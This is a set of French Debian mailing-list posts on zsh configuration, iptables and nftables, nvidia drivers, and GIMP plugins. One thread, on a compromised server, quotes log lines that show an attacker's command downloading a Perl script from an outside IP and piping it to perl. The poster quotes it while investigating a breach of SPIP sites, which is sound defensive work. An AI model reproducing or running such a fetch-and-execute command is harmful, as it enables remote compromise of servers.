Re: Pas d'historique de zsh en root
salut, > En fait pas tant que ça, car il y a déjà pas mal de chose dans le zsh > "standard", cf par ex > https://dev.to/rossijonas/how-to-set-up-history-based-autocompletion-in-zsh-k7o alors … pour le coup je n'utilise pas la completion pour ça: j'ai un système de menus qui gère mes taches courantes dont l'accès à mes MRU (readings, edited, here (répertoire), …). mais je vais jeter un coup d'oeil. en fait la vraie perte de temps dans ta vie c'est JS et la stack web de manière générale :) > Je réalise que ça n'existe pas car c'est déjà dans les modules qui viennent > avec zsh (par ex la > fct _git qui est déjà une fonction du shell qu'on peut utiliser pour > l'autocomplétion) certes mais il exsite d'autres complétions ici et là. certains workers ne sont pas super emballés par le fait d'intégrer de nouvelles completions écrites par un utilisateur puis plus maintenue. Idéalement, pensent certains, il faudrait faire adopter les complétions par les projets upstream et donc les complétions viendraient dans le répertoire vendor. a+ marc
Re: Pas d'historique de zsh en root
salut Daniel, Pour être honnête: je n'ai pas vu ohmyzsh depuis au moins 10 ans. Il y a fort à parier que ça a évolué. > > * pour les personnes débutantes et/ou peu envieuses de passer du > > temps dans le shell, le script qui s'execute lors de ta première > > session te permet de tunner plein de choses > C'est vrai, mais on reste très loin des fonctions de complétions que > peut apporter omz, si on veut la même chose en le faisant soi-même > faut pas mal d'huile de coude. alors c'est triste: pourquoi les mainteneurs de omz ne proposent pas des ajouts/corrections à la completion officielle? si elle est bien, on y gagnerais tous. bon j'avoue que je suis plutôt vim+gitgutter+fugitive quand il s'agit d'utiliser git mais pe que pour d'autres outils, ce serait possible. > C'est vrai aussi, mais les journées ne font que 24h, et le shell reste > une brique de base qui ne devrait pas nous prendre trop d'heures par > semaine. c'est précisément par manque de temps que je me force à ne pas rentrer dans une longue explication dont la conclusion serait: le temps que j'ai passé à apprendre zsh et vim m'a été remboursé au centuple au moins par la liberté et la productivité que ca me génère. surtout quand j'explore qqchose dont tout le monde se fout (par exemple des plugins qui sont particulièrement utiles pour la démonstration et l'enseignement mais que tu peux virer après). souviens par exemple que quand j'ai commencé à faire du roff, je m'étais fais qqs lignes de viml pour pointer facilement vers de la doc, faire de la completion de base, … c'était très brut de fonderie et absolument impubliable mais ca m'a fait gagner un temps fou. > rajoute une louche, même si c'est pas la faute de zsh si l'écosystème js > manque de maturité ;-) ah oui: je n'ai clairement pas ce genre de besoins :) > Je suis resté adminsys sous bash pendant des années avant de passer à > zsh, puis découvert oh my zsh une fois devenu développeur à plein > temps, et j'avoue qu'un shell qui fait le café c'est dangereux mais > très confortable :-) je suis d'accord avec toi: si on se fait une visio un de ces 4, je peux te montrer à quoi ressemble mon zsh: c'est assez loin de l'approche de omz mais je suis bien content de ce que j'ai produit. > (dans le genre y'a aussi fish, pas vraiment testé car pas vu l'utilité > pour mes besoins, mais la digression peut partir loin :-P) fish fait partie de ces shells dont je ne comprend pas l'intéret. certes, tous les shells historiques ont des pbs mais je ne vois pas en fish une correction de ces pbs. > Sur le fond tu as probablement raison, un jour si j'ai le courage j'essaierai > de me faire un > dépôt git perso pour mes alias zsh et leur complétion, je tenterais de publier ma conf zsh dans les prochains jours comme base de discussion. de là on pourrait se faire une visio: ca fait longtemps qu'on l'envisage chez les libristes alsaciens. > avec des subrepo vers les plugins omz > qui m'intéressent pour pouvoir faire du merge interactif à la demande (voir > les évolutions > upstream qu'on intègre ou pas, mais seulement sur ces plugins sans devoir > parcourir toutes les > évolutions d'omz qu'on utilisera jamais). c'est le genre de choses que je fais avec vim donc je serais bien curieux de voir comment ça se passe coté zsh. > Dans mon cas, l'idéal serait probablement des paquets debian > zsh_completion_xxx (où xxx > pourrait ± correspondre aux plugins omz), ahhh … y'a une idée là !!! bon. on se retrouve sur shell-fr pour reparler des détails au fil de l'eau ;) bien à toi marc
Re: Pas d'historique de zsh en root
Le 28/06/23 à 15:18, Daniel Caillibaud a écrit : > > * pour les personnes débutantes et/ou peu envieuses de passer du > > temps dans le shell, le script qui s'execute lors de ta première > > session te permet de tunner plein de choses > > C'est vrai, mais on reste très loin des fonctions de complétions que peut > apporter omz, si on > veut la même chose en le faisant soi-même faut pas mal d'huile de coude. En fait pas tant que ça, car il y a déjà pas mal de chose dans le zsh "standard", cf par ex https://dev.to/rossijonas/how-to-set-up-history-based-autocompletion-in-zsh-k7o > Dans mon cas, l'idéal serait probablement des paquets debian > zsh_completion_xxx (où xxx > pourrait ± correspondre aux plugins omz), à l'image de bash_completion Je réalise que ça n'existe pas car c'est déjà dans les modules qui viennent avec zsh (par ex la fct _git qui est déjà une fonction du shell qu'on peut utiliser pour l'autocomplétion) -- Daniel Il y a quelqu'un sans qui tout ce que j'ai fait jusqu'à présent n'aurait pas été possible: MOI. Philippe Geluck, Le chat
Re: Pas d'historique de zsh en root
Le 28/06/23 à 13:16, Marc Chantreux a écrit : > il y a aussi que je n'avais pas été séduit du tout par la base de code > qui aurait gagné à être plus défensive. Je ne suis pas suffisamment rentré dans les détails et je te fais confiance, c'est d'ailleurs pour ça que par principe c'est à prescrire pour root, mais pour un user lambda le risque d'avoir une base de code externe qui s'exécute à chaque shell vs le confort apporté peut se discuter. > bref: je déconseille vraiment ohmyzsh à toute personne qui souhaite > apprendre zsh. > > * pour les personnes débutantes et/ou peu envieuses de passer du > temps dans le shell, le script qui s'execute lors de ta première > session te permet de tunner plein de choses C'est vrai, mais on reste très loin des fonctions de complétions que peut apporter omz, si on veut la même chose en le faisant soi-même faut pas mal d'huile de coude. > * pour les autres, partir de son besoin et apprendre à faire > soi-même (en interagissant avec la communauté) est une approche > bien plus émancipante et riche socialement que d'installer une > reflexion prete à l'emploi dans son shell, aussi aboutie > soit-elle. ohmyzsh doit donc rester au mieux une source > d'inspiration sur les aspects fonctionnels. C'est vrai aussi, mais les journées ne font que 24h, et le shell reste une brique de base qui ne devrait pas nous prendre trop d'heures par semaine. Je fais surtout du dev js maintenant, et le ratio entre le développement proprement dit et le réglage des outils pour bosser à chaque montée de version d'une dépendance est pas terrible, devoir le faire pour le shell aussi en rajoute une louche, même si c'est pas la faute de zsh si l'écosystème js manque de maturité ;-) Je suis resté adminsys sous bash pendant des années avant de passer à zsh, puis découvert oh my zsh une fois devenu développeur à plein temps, et j'avoue qu'un shell qui fait le café c'est dangereux mais très confortable :-) (dans le genre y'a aussi fish, pas vraiment testé car pas vu l'utilité pour mes besoins, mais la digression peut partir loin :-P) Sur le fond tu as probablement raison, un jour si j'ai le courage j'essaierai de me faire un dépôt git perso pour mes alias zsh et leur complétion, avec des subrepo vers les plugins omz qui m'intéressent pour pouvoir faire du merge interactif à la demande (voir les évolutions upstream qu'on intègre ou pas, mais seulement sur ces plugins sans devoir parcourir toutes les évolutions d'omz qu'on utilisera jamais). J'apprendrai sûrement plein de trucs sur zsh, mais c'est pas vraiment pour ça que mon patron me paie ;-) Dans mon cas, l'idéal serait probablement des paquets debian zsh_completion_xxx (où xxx pourrait ± correspondre aux plugins omz), à l'image de bash_completion et plus sécure qu'un dépôt git externe mise à jour très souvent de manière ± automatique, mais j'ai pas les compétences pour maintenir ça. -- Daniel On réalise qu'une femme est de la dynamite quand on la laisse tomber. Marcel Pagnol.
Re: iptables vs iptables-legacy
Le 28/06/2023 à 13:05, Michel Verdier a écrit : Le 28 juin 2023 didier gaumet a écrit : [...] mais de ce que j'avais cru comprendre, il y a des frontends (tables xtables ou tables nft) à des backends (netfilter ou nft). Le backend nft serait une version révisée du backend netfilter, par la même équipe, en s'appuyant sur certaines parties de l'ancien backend netfilter. Si on cherche dans /boot/config*, on trouve des chaînes CONFIG_NETFILTER* et CONFIG_NFT. netfilter c'est le framework de filtrage du kernel, et il est toujours d'actualité. Il supporte nf_tables et/ou xtables (donc ip_tables). nft c'est l'outil userspace pour parmétrer nf_tables. Merci d'avoir clarifié... vu que j'avais compris de travers :-) Donc oui, je croyais -à tort- que la composante nftables en espace noyau était était une évolution de netfilter, s'appuyant dessus mais le remplaçant, alors que, non, comme tu le soulignes, nftables c'est simplement le remplaçant de xtables. pour ceux, comme moi, pour qui un petit schéma bien visuel et coloré favorise une compréhension autrement un peu faible, il y a ça sur Wikipedia ;-) https://upload.wikimedia.org/wikipedia/commons/d/dd/Netfilter-components.svg
Re: iptables vs iptables-legacy
Bonjour, Si j'en crois /usr/share/doc/iptables/README.Debian , il convient de ne pas mélanger sur un même système iptables-nft et iptables-legacy sous peine d'avoir un comportement imprévisible :-( "man iptables-legacy" et man "iprables-nft" fournissent des informations sur les différences entre les 2 outils Bonne lecture , même si ça ne répond pas directement à la question ;-) Cordialement Jacques Le 27/06/2023 à 18:46, BERTRAND Joël a écrit : Bonsoir à tous, J'ai toujours écrit mes firewalls à la main. Aujourd'hui, un script charge au démarrage le contenu de /var/lib/iptables/active au travers de iptables (nf_tables). Or iptables-legacy est toujours disponible. J'avoue avoir un peu de mal à comprendre le lien entre les deux filtres. Root rayleigh:[~] > iptables-legacy -L Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Root rayleigh:[~] > Root rayleigh:[~] > iptables -L # Warning: iptables-legacy tables present, use iptables-legacy to see them Chain INPUT (policy DROP) target prot opt source destination f2b-recidive tcp -- anywhere anywhere ACCEPT all -- anywhere anywhere ACCEPT all -- anywhere anywhere ACCEPT tcp -- anywhere anywhere tcp dpt:ssh ACCEPT tcp -- anywhere anywhere tcp dpt:smtp ... Chain f2b-recidive (1 references) target prot opt source destination REJECT all -- subnet.crackbox.io anywhere reject-with icmp-port-unreachable REJECT all -- 193.56.29.178anywhere reject-with icmp-port-unreachable REJECT all -- 147.78.103.120 anywhere reject-with icmp-port-unreachable RETURN all -- anywhere anywhere Root rayleigh:[~] > D'après iptables-legacy, tout est ouvert. D'après iptables, tout est fermé sauf ce qui est explicitement ouvert. La question est simple. Si je change la règle par défaut iptables-legacy -DINPUT DROP, plus rien ne fonctionne. Les deux systèmes sont-ils en série ? Un paquet traverse-t-il d'abord un système de filtre puis l'autre en séquence ? Je n'ai pas trouvé l'information (je dois chercher au mauvais endroit)... Bien cordialement, JB
Re: Pas d'historique de zsh en root
salut Daniel, > Euh, là tu pousses un peu ;-) je plaide coupable: comme je disais je manque de temps et ça se sent dans la nuance que je tente d'apporter à mes réponses. disons que c'est dommage que ohmyzsh coupe tant de gens de l'opportunité d'apprendre des trucs chouettes sur la manière dont on peut accorder simplement zsh à son gout, démarche qui permet au passage d'échanger avec la communauté (et donc de s'enrichir d'autres idées) et de découvrir des astuces intéressantes. il y a aussi que je n'avais pas été séduit du tout par la base de code qui aurait gagné à être plus défensive. bref: je déconseille vraiment ohmyzsh à toute personne qui souhaite apprendre zsh. * pour les personnes débutantes et/ou peu envieuses de passer du temps dans le shell, le script qui s'execute lors de ta première session te permet de tunner plein de choses * pour les autres, partir de son besoin et apprendre à faire soi-même (en interagissant avec la communauté) est une approche bien plus émancipante et riche socialement que d'installer une reflexion prete à l'emploi dans son shell, aussi aboutie soit-elle. ohmyzsh doit donc rester au mieux une source d'inspiration sur les aspects fonctionnels. evidement c'est une vision personnelle cordialement, marc
Re: iptables vs iptables-legacy
Le 28 juin 2023 BERTRAND Joël a écrit : > Je suis un peu flemmard sur les bords. Lorsque j'ai un serveur connecté > à plusieurs réseaux et des VPN avec un firewall de plusieurs centaines > de lignes qui est éprouvé, je ne m'amuse pas à le changer pour le fun et > la beauté du geste. Par ailleurs, la syntaxe iptables fonctionne > toujours pour les nftables (raison pour laquelle on se retrouve avec > iptables-legacy et iptables). Il n'y a donc aucune raison valable à ce > que les deux mécanismes cohabitent. À l'extrême limite, ce genre de > chose est une bidouille interne au noyau et cela devrait être > transparent du point de vue de l'utilisateur. Je ne sais pas comment sont gérées les utilisations conjointes de nf_tables et ip_tables. Mais les 2 sont parcourues, le problème est qu'on ne sait pas vraiment dans quel ordre. Entre autre je crois qu'il y a des chaines supplémentaires en nf_tables et les priorités ne doivent sans doute pas refléter la même chose. C'est sûr qu'il y a un risque à migrer de iptables à nftables mais c'est assez rapide à faire : nftables permet de synthétiser pas mal de choses. Et le gain de nftables en clarté des règles et aussi de rapidité (du moins en utilisant les nouveautés de nftables) est assez important.
Re: iptables vs iptables-legacy
Le 28 juin 2023 didier gaumet a écrit : > Le 28/06/2023 à 08:32, Michel Verdier a écrit : > >> Plutôt qu'une doc redhat (un comble sur cette liste) il faut utiliser la >> source : >> https://wiki.nftables.org/wiki-nftables/index.php/What_is_nftables%3F > > La plupart du temps, tu as raison, c'est mieux de directement se renseigner > sur le site de l'éditeur du logiciel concerné > > Ceci dit, sans polémique aucune, parfois les docs ou les wiki d'autres distros > sont plus détaillées, précises, à jour, etc... que ceux de Debian :-) Archwiki ou ubuntu je veux bien, mais redhat c'est assez souvent en décalage par rapport à debian. Là en l'occurence c'est la bible nftables. > mais de ce que j'avais cru comprendre, il y a des frontends (tables xtables > ou tables nft) à des backends (netfilter ou nft). > Le backend nft serait une version révisée du backend netfilter, par la même > équipe, en s'appuyant sur certaines parties de l'ancien backend netfilter. Si > on cherche dans /boot/config*, on trouve des chaînes CONFIG_NETFILTER* et > CONFIG_NFT. netfilter c'est le framework de filtrage du kernel, et il est toujours d'actualité. Il supporte nf_tables et/ou xtables (donc ip_tables). nft c'est l'outil userspace pour parmétrer nf_tables.
Re: Equivalent Canon logiciel ?
On 6/28/23 13:00, Basile Starynkevitch wrote: On 6/28/23 12:49, ptilou wrote: Neural network Upscaling Je n'y connais rien, mais gimp.org plus d'éventuels greffons à écrire? https://daviesmediadesign.com/fr/9-best-gimp-plugins-addons-for-2022/ https://docs.gimp.org/2.10/fr/gimp-scripting.html Et probablement https://gegl.org/ -- Basile Starynkevitch (only mine opinions / les opinions sont miennes uniquement) 92340 Bourg-la-Reine, France web page: starynkevitch.net/Basile/
Re: Equivalent Canon logiciel ?
On 6/28/23 12:49, ptilou wrote: Neural network Upscaling Je n'y connais rien, mais gimp.org plus d'éventuels greffons à écrire? https://daviesmediadesign.com/fr/9-best-gimp-plugins-addons-for-2022/ https://docs.gimp.org/2.10/fr/gimp-scripting.html -- Basile Starynkevitch (only mine opinions / les opinions sont miennes uniquement) 92340 Bourg-la-Reine, France web page: starynkevitch.net/Basile/
Re: Machine vérolée
Le mardi 27 juin 2023 à 22:30:04 UTC+2, Erwann Le Bras a écrit : > Je ne l'aurais pas cru... > Le 27/06/2023 à 16:40, BERTRAND Joël a écrit : > BERTRAND Joël a écrit : > OK, je l'ai. > > 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > > J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais > toujours pas qui le lance, mais on progresse. > > Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP > antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se > font fait percer. Mais pas de la même manière. Le premier avait des > fichiers .php étranges dans sa racine : spip__.php et des choses comme > response.php. Le second avait un spip_loader.php qui embarquait un binaire. Merci peut on faire une ecole du troll libre ? -- Ptilou
Equivalent Canon logiciel ?
Slt, Canon me propose ca : Neural network Upscaling Tool 1.0.0 Y a quelque chose de libre en ligne de commande et qui pourrait succeder dans un autogamma, autolight, etc ... Ou personne ne fait d'image ? Merci pour Debian 12 sur AMD -- Ptilou
Re: iptables vs iptables-legacy
Le 28/06/2023 à 08:32, Michel Verdier a écrit : Plutôt qu'une doc redhat (un comble sur cette liste) il faut utiliser la source : https://wiki.nftables.org/wiki-nftables/index.php/What_is_nftables%3F La plupart du temps, tu as raison, c'est mieux de directement se renseigner sur le site de l'éditeur du logiciel concerné Ceci dit, sans polémique aucune, parfois les docs ou les wiki d'autres distros sont plus détaillées, précises, à jour, etc... que ceux de Debian :-) Donc dans xtables le x c'est pour ip/ip6/... nftables c'est ça qu'il faut utiliser de nos jours. Et les xtables et nftables ce sont les outils pour utiliser netfilter. Les paquets ne passent que par netfilter. [...] Je suis une vraie truffe en réseaux et en sécurité (donc, à la croisée des chemins, en pare-feux), mais de ce que j'avais cru comprendre, il y a des frontends (tables xtables ou tables nft) à des backends (netfilter ou nft). Le backend nft serait une version révisée du backend netfilter, par la même équipe, en s'appuyant sur certaines parties de l'ancien backend netfilter. Si on cherche dans /boot/config*, on trouve des chaînes CONFIG_NETFILTER* et CONFIG_NFT. Et si tout passait par netfilter, il n'y aurait pas de distingo entre iptables-legacy et iptables-nft vu que ce serait la même chose (des tables iptables attaquant un backend netfilter) Enfin, j'ai peut-être rien pigé, hein :-)
Re: iptables vs iptables-legacy
Michel Verdier a écrit : > Et d'ailleurs pourquoi mixer les outils ? Pourquoi ? Mais parce que fail2ban dans sa configuration par défaut s'est mis à utiliser nftables alors qu'il est tout à fait possible d'utiliser un firewall iptables (xtables) par ailleurs. J'ai d'ailleurs modifié ces scripts pour remplacer iptables par iptables-legacy parce qu'un temps, Debian ne fournissait pas un iptables capable de travailler sur les nftables. Je suis un peu flemmard sur les bords. Lorsque j'ai un serveur connecté à plusieurs réseaux et des VPN avec un firewall de plusieurs centaines de lignes qui est éprouvé, je ne m'amuse pas à le changer pour le fun et la beauté du geste. Par ailleurs, la syntaxe iptables fonctionne toujours pour les nftables (raison pour laquelle on se retrouve avec iptables-legacy et iptables). Il n'y a donc aucune raison valable à ce que les deux mécanismes cohabitent. À l'extrême limite, ce genre de chose est une bidouille interne au noyau et cela devrait être transparent du point de vue de l'utilisateur. JB
Re: nvidia ou nouveau sur bookworm ?
Le 27/06/23 à 22:15, Étienne Mollier a écrit : > J'allais proposer la troisième option qui consisterait à > installer le paquet nvidia-open-kernel-dkms, de la section > contrib… :) Merci de signaler l'alternative… > > … mais la GTX 1060 Mobile n'apparait pas dans la liste des > matériels supportés [1]. :( > > [1] : > https://github.com/NVIDIA/open-gpu-kernel-modules/blob/main/README.md#compatible-gpus …même si ce sera pas pour cette carte. > Du coup, oui, il vaut mieux installer xserver-xorg-video-nvidia > et nvidia-kernel-dkms pour remplacer nouveau si on est peu > regardant sur l'usage de ce pilotes propriétaires, et que le > pilote nouveau ne permet pas de travailler confortablement. > Tout du moins, ça vaut le coup d'essayer. En dehors du côté éthique, 50 paquets et 500Mo, ça fait bcp pour gérer une carte vidéo… Au redémarrage, ça ne change rien… J'ai débranché l'écran en VGA, idem, les réglages d'anti-aliasing (anti-crénelage) semblent complètement ignorés. En plus de cinnamont, j'ai testé aussi avec gnome3 (là il ne veut pas mettre mon écran en paysage, en me disant que c'est probablement une limitation matérielle) et cinnamon software rendering, pas mieux… Il me reste à creuser cette histoire d'anti-aliasing, ça me rappelle vaguement qqchose, il me semble qu'il y a pas mal d'années j'avais dû bricoler un truc dans la conf xorg (mais c'était bien avant wayland et nouveau), je vais creuser, si vous avez des suggestions n'hésitez pas. -- Daniel Partout où l'esprit humain a la moindre possibilité de connaître, il y a un problème légitime pour la science Karl Pearson
Re: iptables vs iptables-legacy
Le 27 juin 2023 BERTRAND Joël a écrit : > NoSpam a écrit : >> Bonsoir >> >> https://developers.redhat.com/blog/2020/08/18/iptables-the-two-variants-and-their-relationship-with-nftables#using_iptables_nft > > Merci. > > Mais ça ne répond pas trop à ma question sauf s'il faut comprendre > entre les lignes que les paquets passent d'abord par les xtables avant > de passer par les nftables. Plutôt qu'une doc redhat (un comble sur cette liste) il faut utiliser la source : https://wiki.nftables.org/wiki-nftables/index.php/What_is_nftables%3F Donc dans xtables le x c'est pour ip/ip6/... nftables c'est ça qu'il faut utiliser de nos jours. Et les xtables et nftables ce sont les outils pour utiliser netfilter. Les paquets ne passent que par netfilter. Et il vaut mieux ne pas mixer les outils : https://unix.stackexchange.com/questions/687857/what-is-the-relationship-or-difference-among-iptables-xtables-iptables-nft-xt Et d'ailleurs pourquoi mixer les outils ?
